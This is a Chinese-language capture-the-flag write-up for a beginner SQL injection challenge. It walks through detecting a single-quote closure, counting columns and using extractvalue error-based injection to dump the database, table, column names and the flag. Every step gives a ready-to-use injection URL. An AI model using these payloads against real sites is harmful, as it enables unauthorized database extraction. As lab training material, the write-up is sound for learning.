开始界面提示输入一些东西
首先要得到第一个信息:参数是wllm(刚开始没有注意到,按照sqllabs闯关使用的参数id=1之类的,页面不会有什么变化)
1.先判断闭合方式
/?wllm=1' #页面如下可以判断闭合方式为单引号闭合
2.接着判断字节数
/?wllm=1' order by 3--+ #接着输入4就不对了,由此判断字段数数是3
3.判断回显位
/?wllm=1' union select 1,2,3--+
根据页面显示可以发现没有回显位,转变思路为报错注入
4.extractvalue报错注入
我们已经知道了字段数,直接爆库名
/?wllm=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
得到库名是test_db
5.爆表名
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+
6.我们直接尝试查看test_tb内的字段名
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3--+
7.看到flag了,查看表内数据
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))--+
# 因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:例如substring("abc",1,1),此语句表示从第一个字符读取一个字符返回,在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))--+
整理一下flag,可以得到NAACTF{78364021-e82c-4a9d-8118b-0f23c35937d2}
整体来看这道题目不难,都是基本步骤,很适合新手小白